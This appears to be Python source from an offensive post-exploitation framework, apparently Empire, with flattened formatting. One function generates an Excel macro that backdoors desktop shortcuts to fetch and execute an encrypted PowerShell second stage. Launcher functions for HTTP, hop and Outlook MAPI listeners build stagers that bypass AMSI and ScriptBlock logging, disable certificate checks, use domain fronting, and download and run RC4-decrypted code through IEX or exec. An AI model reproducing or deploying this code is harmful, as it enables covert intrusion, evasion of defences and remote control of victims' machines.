def generate(self): #default booleans to false obfuscateScript = False AMSIBypassBool = False AMSIBypass2Bool = False # extract all of our options language = self.options['Language']['Value'] listenerName = self.options['Listener']['Value'] userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] stagerRetries = self.options['StagerRetries']['Value'] targetEXE = self.options['TargetEXEs']['Value'] xlsOut = self.options['XlsOutFile']['Value'] XmlPath = self.options['XmlUrl']['Value'] XmlOut = self.options['XmlOutFile']['Value'] if self.options['AMSIBypass']['Value'].lower() == "true": AMSIBypassBool = True if self.options['AMSIBypass2']['Value'].lower() == "true": AMSIBypass2Bool = True if self.options['Obfuscate']['Value'].lower == "true": obfuscateScript = True obfuscateCommand = self.options['ObfuscateCommand']['Value'] # catching common ways date is incorrectly entered killDate = self.options['KillDate']['Value'].replace( '\\', '/').replace(' ', '').split('/') if (int(killDate[2]) < 100): killDate[2] = int(killDate[2]) + 2000 targetEXE = targetEXE.split(',') targetEXE = [_f for _f in targetEXE if _f] # set vars to random alphabetical / alphanumeric values shellVar = ''.join( random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9))) lnkVar = ''.join( random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9))) fsoVar = ''.join( random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9))) folderVar = ''.join( random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9))) fileVar = ''.join( random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6, 9))) encKey = ''.join( random.sample( string.ascii_uppercase + string.ascii_lowercase + string.digits + string.punctuation, random.randint(16, 16))) # avoiding potential escape characters in our decryption key for the second stage payload for ch in ["\"", "'", "`"]: if ch in encKey: encKey = encKey.replace(ch, random.choice(string.ascii_lowercase)) encIV = random.randint(1, 240) # generate the launcher if language.lower() == "python": launcher = self.mainMenu.stagers.generate_launcher( listenerName, language=language, encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) else: launcher = self.mainMenu.stagers.generate_launcher( listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries, AMSIBypass=AMSIBypassBool, AMSIBypass2=AMSIBypass2Bool) launcher = launcher.replace("\"", "'") if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" else: try: reader = xlrd.open_workbook(xlsOut) workBook = copy(reader) activeSheet = workBook.get_sheet(0) except (IOError, OSError): workBook = Workbook() activeSheet = workBook.add_sheet('Sheet1') # sets initial coords for writing data to inputRow = random.randint(50, 70) inputCol = random.randint(40, 60) # build out the macro - first take all strings that would normally go into the macro and place them into random cells, which we then reference in our macro macro = "Sub Auto_Close()\n" activeSheet.write( inputRow, inputCol, helpers.randomize_capitalization("Wscript.shell")) macro += "Set " + shellVar + " = CreateObject(activeSheet.Range(\"" + self.coordsToCell( inputRow, inputCol) + "\").value)\n" inputCol = inputCol + random.randint(1, 4) activeSheet.write( inputRow, inputCol, helpers.randomize_capitalization("Scripting.FileSystemObject")) macro += "Set " + fsoVar + " = CreateObject(activeSheet.Range(\"" + self.coordsToCell( inputRow, inputCol) + "\").value)\n" inputCol = inputCol + random.randint(1, 4) activeSheet.write(inputRow, inputCol, helpers.randomize_capitalization("desktop")) macro += "Set " + folderVar + " = " + fsoVar + ".GetFolder(" + shellVar + ".SpecialFolders(activeSheet.Range(\"" + self.coordsToCell( inputRow, inputCol) + "\").value))\n" macro += "For Each " + fileVar + " In " + folderVar + ".Files\n" macro += "If(InStr(Lcase(" + fileVar + "), \".lnk\")) Then\n" macro += "Set " + lnkVar + " = " + shellVar + ".CreateShortcut(" + shellVar + ".SPecialFolders(activeSheet.Range(\"" + self.coordsToCell( inputRow, inputCol) + "\").value) & \"\\\" & " + fileVar + ".name)\n" inputCol = inputCol + random.randint(1, 4) macro += "If(" for i, item in enumerate(targetEXE): if i: macro += (' or ') activeSheet.write(inputRow, inputCol, targetEXE[i].strip().lower() + ".") macro += "InStr(Lcase(" + lnkVar + ".targetPath), activeSheet.Range(\"" + self.coordsToCell( inputRow, inputCol) + "\").value)" inputCol = inputCol + random.randint(1, 4) macro += ") Then\n" # launchString contains the code that will get insterted into the backdoored .lnk files, it will first launch the original target exe, then clean up all backdoors on the desktop. After cleanup is completed it will check the current date, if it is prior to the killdate the second stage will then be downloaded from the webserver selected during macro generation, and then decrypted using the key and iv created during this same process. This code is then executed to gain a full agent on the remote system. launchString1 = "hidden -nop -c \"Start(\'" launchString2 = ");$u=New-Object -comObject wscript.shell;gci -Pa $env:USERPROFILE\desktop -Fi *.lnk|%{$l=$u.createShortcut($_.FullName);if($l.arguments-like\'*xml.xmldocument*\'){$s=$l.arguments.IndexOf(\'\'\'\')+1;$r=$l.arguments.Substring($s, $l.arguments.IndexOf(\'\'\'\',$s)-$s);$l.targetPath=$r;$l.Arguments=\'\';$l.Save()}};$b=New-Object System.Xml.XmlDocument;if([int](get-date -U " launchString3 = ") -le " + str(killDate[2]) + str( killDate[0]) + str(killDate[1]) + "){$b.Load(\'" launchString4 = "\');$a=New-Object 'Security.Cryptography.AesManaged';$a.IV=(" + str( encIV) + ".." + str( encIV + 15) + ");$a.key=[text.encoding]::UTF8.getBytes('" launchString5 = "');$by=[System.Convert]::FromBase64String($b.main);[Text.Encoding]::UTF8.GetString($a.CreateDecryptor().TransformFinalBlock($by,0,$by.Length)).substring(16)|iex}\"" # part of the macro that actually modifies the LNK files on the desktop, sets icon location for updated lnk to the old targetpath, args to our launch code, and target to powershell so we can do a direct call to it macro += lnkVar + ".IconLocation = " + lnkVar + ".targetpath\n" launchString1 = helpers.randomize_capitalization(launchString1) launchString2 = helpers.randomize_capitalization(launchString2) launchString3 = helpers.randomize_capitalization(launchString3) launchString4 = helpers.randomize_capitalization(launchString4) launchString5 = helpers.randomize_capitalization(launchString5) launchStringSum = launchString2 + "'%Y%m%d'" + launchString3 + XmlPath + launchString4 + encKey + launchString5 activeSheet.write(inputRow, inputCol, launchString1) launch1Coords = self.coordsToCell(inputRow, inputCol) inputCol = inputCol + random.randint(1, 4) activeSheet.write(inputRow, inputCol, launchStringSum) launchSumCoords = self.coordsToCell(inputRow, inputCol) inputCol = inputCol + random.randint(1, 4) macro += lnkVar + ".arguments = \"-w \" & activeSheet.Range(\"" + launch1Coords + "\").Value & " + lnkVar + ".targetPath" + " & \"'\" & activeSheet.Range(\"" + launchSumCoords + "\").Value" + "\n" activeSheet.write( inputRow, inputCol, helpers.randomize_capitalization( ":\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" )) macro += lnkVar + ".targetpath = left(CurDir, InStr(CurDir, \":\")-1) & activeSheet.Range(\"" + self.coordsToCell( inputRow, inputCol) + "\").value\n" inputCol = inputCol + random.randint(1, 4) # macro will not write backdoored lnk file if resulting args will be > 1024 length (max arg length) - this is to avoid an incomplete statement that results in a powershell error on run, which causes no execution of any programs and no cleanup of backdoors macro += "if(Len(" + lnkVar + ".arguments) < 1023) Then\n" macro += lnkVar + ".save\n" macro += "end if\n" macro += "end if\n" macro += "end if\n" macro += "next " + fileVar + "\n" macro += "End Sub\n" activeSheet.row(inputRow).hidden = True print(helpers.color("\nWriting xls...\n", color="blue")) workBook.save(xlsOut) print( helpers.color( "xls written to " + xlsOut + " please remember to add macro code to xls prior to use\n\n", color="green")) # encrypt the second stage code that will be dropped into the XML - this is the full empire stager that gets pulled once the user clicks on the backdoored shortcut ivBuf = ("").encode('UTF-8') for z in range(0, 16): IV = encIV + z IV = IV.to_bytes(1, byteorder='big') ivBuf = b"".join([ivBuf, IV]) encryptor = AES.new(encKey, AES.MODE_CBC, ivBuf) # pkcs7 padding - aes standard on Windows - if this padding mechanism is used we do not need to define padding in our macro code, saving space padding = 16 - (len(launcher) % 16) if padding == 0: launcher = launcher + ('\x00' * 16) else: launcher = launcher + (chr(padding) * padding) cipher_text = encryptor.encrypt(launcher) cipher_text = helpers.encode_base64(b"".join([ivBuf, cipher_text])) # write XML to disk print(helpers.color("Writing xml...\n", color="blue")) fileWrite = open(XmlOut, "wb") fileWrite.write(b"<?xml version=\"1.0\"?>\n") fileWrite.write(b"<main>") fileWrite.write(cipher_text) fileWrite.write(b"</main>\n") fileWrite.close() print( helpers.color( "xml written to " + XmlOut + " please remember this file must be accessible by the target at this url: " + XmlPath + "\n", color="green")) return macro
def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color('[!] listeners/http_hop generate_launcher(): no language specified!') if listenerName and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['RedirectStagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) if language.startswith('po'): # PowerShell stager = '' if safeChecks.lower() == 'true': # @mattifestation's AMSI bypass stager = helpers.randomize_capitalization("[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,$true)};") stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': userAgent = profile.split('|')[1] stager += "$u='"+userAgent+"';" if 'https' in host: # allow for self-signed certificates for https connections stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': stager += helpers.randomize_capitalization('$wc.Headers.Add(') stager += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;") stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';") stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: # TODO: implement form for other proxy credentials pass # TODO: reimplement stager retries? # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket) stager += "$ser='%s';$t='%s';" % (host, stage0) stager += helpers.randomize_capitalization("$data=$WC.DownloadData($ser+$t);") stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") # base64 encode the stager and return it if encode: return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager if language.startswith('py'): # Python launcherBase = 'import sys;' if 'https' in host: # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n" launcherBase += "out = ps.stdout.read()\n" launcherBase += "ps.stdout.close()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stagger: " + str(e) print helpers.color(p, color='red') if userAgent.lower() == 'default': userAgent = profile.split('|')[1] launcherBase += "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();" launcherBase += "UA='%s';" % (userAgent) launcherBase += "server='%s';t='%s';" % (host, stage0) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (b64RoutingPacket) launcherBase += "import urllib2\n" launcherBase += "if urllib2.getproxies():\n" launcherBase += " o.add_handler(urllib2.ProxyHandler(urllib2.getproxies()))\n" # download the stager and extract the IV launcherBase += "a=o.open(server+t).read();" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase) launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python &" % (launchEncoded) return launcher else: return launcherBase else: print helpers.color("[!] listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module.") else: print helpers.color("[!] listeners/http_hop generate_launcher(): invalid listener name specification!")
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color( '[!] listeners/http generate_launcher(): no language specified!' ) if listenerName and (listenerName in self.threads) and ( listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization( "If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass stager += helpers.randomize_capitalization( "$GPF=[ref].Assembly.GetType(") stager += "'System.Management.Automation.Utils'" stager += helpers.randomize_capitalization( ").\"GetFie`ld\"(") stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'" stager += helpers.randomize_capitalization( ");If($GPF){$GPC=$GPF.GetValue($null);If($GPC") stager += "['ScriptB'+'lockLogging']" stager += helpers.randomize_capitalization("){$GPC") stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" stager += helpers.randomize_capitalization("$GPC") stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" stager += helpers.randomize_capitalization( "$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add" ) stager += "('EnableScriptB'+'lockLogging',0);" stager += helpers.randomize_capitalization("$val.Add") stager += "('EnableScriptBlockInvocationLogging',0);" stager += helpers.randomize_capitalization("$GPC") stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']" stager += helpers.randomize_capitalization("=$val}") stager += helpers.randomize_capitalization( "Else{[ScriptBlock].\"GetFie`ld\"(") stager += "'signatures','N'+'onPublic,Static'" stager += helpers.randomize_capitalization( ").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}};" ) # @mattifestation's AMSI bypass stager += helpers.randomize_capitalization( 'Add-Type -assembly "Microsoft.Office.Interop.Outlook";' ) stager += "$outlook = New-Object -comobject Outlook.Application;" stager += helpers.randomize_capitalization( '$mapi = $Outlook.GetNameSpace("') stager += 'MAPI");' if listenerOptions['Email']['Value'] != '': stager += '$fld = $outlook.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[ 'Email'][ 'Value'] + '"} | %{$_.Folders.Item(2).Folders.Item("' + listenerOptions[ 'Folder']['Value'] + '")};' stager += '$fldel = $outlook.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[ 'Email']['Value'] + '"} | %{$_.Folders.Item(3)};' else: stager += '$fld = $outlook.Session.GetDefaultFolder(6).Folders.Item("' + listenerOptions[ 'Folder']['Value'] + '");' stager += '$fldel = $outlook.Session.GetDefaultFolder(3);' # clear out all existing mails/messages stager += helpers.randomize_capitalization( "while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}" ) # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie stager += helpers.randomize_capitalization( '$mail = $outlook.CreateItem(0);$mail.Subject = "') stager += 'mailpireout";' stager += helpers.randomize_capitalization('$mail.Body = ') stager += '"STAGE - %s"' % b64RoutingPacket stager += helpers.randomize_capitalization( ';$mail.save() | out-null;') stager += helpers.randomize_capitalization( '$mail.Move($fld)| out-null;') stager += helpers.randomize_capitalization( '$break = $False; $data = "";') stager += helpers.randomize_capitalization( "While ($break -ne $True){") stager += helpers.randomize_capitalization( '$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;' ) stager += helpers.randomize_capitalization( '$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}' ) stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate( self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager else: print helpers.color( "[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." ) else: print helpers.color( "[!] listeners/http_mapi generate_launcher(): invalid listener name specification!" )
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color('[!] listeners/http generate_launcher(): no language specified!') if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) customHeaders = profile.split('|')[2:] if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(") stager += "'System.Management.Automation.Utils'" stager += helpers.randomize_capitalization(").\"GetFie`ld\"(") stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'" stager += helpers.randomize_capitalization(").GetValue($null);If($GPS") stager += "['ScriptB'+'lockLogging']" stager += helpers.randomize_capitalization("){$GPS") stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" stager += helpers.randomize_capitalization("$GPS") stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(") stager += "'signatures','N'+'onPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}") # @mattifestation's AMSI bypass stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,$true)};") stager += "};" stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] stager += "$u='"+userAgent+"';" if 'https' in host: # allow for self-signed certificates for https connections stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': stager += helpers.randomize_capitalization('$wc.Headers.Add(') stager += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;") stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';") stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: # TODO: implement form for other proxy credentials username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] domain = username.split('\\')[0] usr = username.split('\\')[1] stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');" stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;") #save the proxy settings to use during the entire staging process and the agent stager += "$Script:Proxy = $wc.Proxy;" # TODO: reimplement stager retries? #check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions['BindIP']['Value'] port = listenerOptions['Port']['Value'] if ':' in bindIP: if "http" in host: if "https" in host: host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port) else: host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) stager += "$ser='%s';$t='%s';" % (host, stage0) #Add custom headers if any if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] #If host header defined, assume domain fronting is in use and add a call to the base URL first #this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello if headerKey.lower() == "host": stager += helpers.randomize_capitalization("try{$ig=$WC.DownloadData($ser)}catch{};") stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"%s\",\"%s\");" % (headerKey, headerValue) # add the RC4 packet to a cookie stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket) stager += helpers.randomize_capitalization("$data=$WC.DownloadData($ser+$t);") stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager if language.startswith('py'): # Python launcherBase = 'import sys;' if "https" in host: # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n" launcherBase += "out = ps.stdout.read()\n" launcherBase += "ps.stdout.close()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stager: " + str(e) print helpers.color(p, color='red') if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] launcherBase += "import urllib2;\n" launcherBase += "UA='%s';" % (userAgent) launcherBase += "server='%s';t='%s';" % (host, stage0) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) launcherBase += "req=urllib2.Request(server+t);\n" # add the RC4 packet to a cookie launcherBase += "req.add_header('User-Agent',UA);\n" launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % (b64RoutingPacket) # Add custom headers if any if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] #launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue) launcherBase += "req.add_header(\"%s\",\"%s\");\n" % (headerKey, headerValue) if proxy.lower() != "none": if proxy.lower() == "default": launcherBase += "proxy = urllib2.ProxyHandler();\n" else: proto = proxy.Split(':')[0] launcherBase += "proxy = urllib2.ProxyHandler({'"+proto+"':'"+proxy+"'});\n" if proxyCreds != "none": if proxyCreds == "default": launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"');\n" launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" else: launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "o = urllib2.build_opener();\n" #install proxy and creds globally, so they can be used with urlopen. launcherBase += "urllib2.install_opener(o);\n" # download the stager and extract the IV launcherBase += "a=urllib2.urlopen(req).read();\n" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase) launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | python &" % (launchEncoded) return launcher else: return launcherBase else: print helpers.color("[!] listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module.") else: print helpers.color("[!] listeners/http generate_launcher(): invalid listener name specification!")
